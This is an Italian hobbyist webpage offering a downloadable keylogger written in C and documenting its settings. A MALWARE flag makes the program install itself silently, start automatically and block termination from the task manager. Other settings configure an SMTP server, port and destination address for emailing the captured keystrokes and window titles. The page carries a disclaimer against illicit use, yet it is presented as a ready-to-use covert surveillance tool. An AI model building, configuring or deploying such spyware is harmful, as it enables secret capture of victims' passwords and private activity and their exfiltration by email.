[index] [Informatica] [Elettronica] [PIC16F84] [Wifi] [Links]
Appunti di Gianluca Ghettini
Keylogger in C
Un piccolo keylogger scritto interamente in C. Permette la cattura degli eventi della tastiera (i tasti premuti) e di tutte le finestre aperte dall'utente durante l'uso del computer (programmi aperti, notifiche, errori etc...). Il programma registra completamente in background tali informazioni e le salva mano a mano in un file di testo sul disco rigido. Non appena c'è disponibilità di rete, i log vengono inviati via email ad una casella di posta prescelta tramite server SMTP.
Il programma DEVE essere considerato unicamente come un esempio di programmazione e ne viene assolutamente VIETATO l'utilizzo per scopi illeciti.

scarica il sorgente (12 kB)
RSS Feed
RSS Feed
 
opzione/parametro Descrizione
#define MALWARE 0
La variabile MALWARE è di tipo booleano (1 = si, 0 = no)  ed imposta il comportamento del keylogger.
Se settata ad 1 il keylogger diventa un malware a tutti gli effetti, cioè alla prima esecuzione si installa automaticamente nel sistema operativo e inserisce l'avvio automatico, tutto completamente in background e senza alcun avviso. Inoltre viene impedito l'arresto del programma dal task manager.
Se impostata a 0, si comporta normalmente e può essere disattivato col task manager come un qualsiasi altro programma. Le impostazioni di sistema NON vengono manipolate.
unsigned char emailserver[256]="nomeserver";

unsigned char emailport[15]="emailport:25";

unsigned char emaildest[256]="emaildest:p@p.com"
Sono stringhe che settano rispettivamente il nome del server SMTP per la posta in uscita (in questo caso nomeserver), la porta per la connessione (di norma la 25) e la casella email di destinazione alla quale saranno recapitate le informazioni di log (in questo caso p@p.com)
#define SECONDS 10
Imposta l'intervallo di tempo, espresso in secondi, tra un tentativo di connessione ed un altro.